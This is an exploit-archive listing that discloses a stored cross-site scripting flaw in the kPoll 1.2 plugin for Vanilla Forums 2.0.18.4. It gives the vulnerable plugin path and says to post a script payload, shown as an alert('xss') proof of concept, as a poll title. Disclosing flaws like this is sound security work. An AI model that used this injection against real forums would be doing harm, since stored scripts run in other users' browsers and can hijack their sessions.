[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Vanilla kPoll Plugin 1.2 Stored XSS
# Published : 2012-06-06
# Author :
# Previous Title : Wordpress Thinkun Remind Plugin 1.1.3 Remote File Disclosure
# Next Title : Wordpress Tinymce Thumbnail Gallery Plugin 1.0.7 Remote File Disclosure


# Title: Vanilla kPoll 1.2 Stored XSS
# Date: 5/6/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + Vanilla kPoll 1.2
# http://vanillaforums.org/download
# http://vanillaforums.org/addon/kpoll-plugin

To Create the XSS go to this link,

http://vanilla.tld/index.php?p=/plugin/kPoll

Post your XSS as the poll title.

The XSS I used is
<script>alert('xss')</script>

#############################################################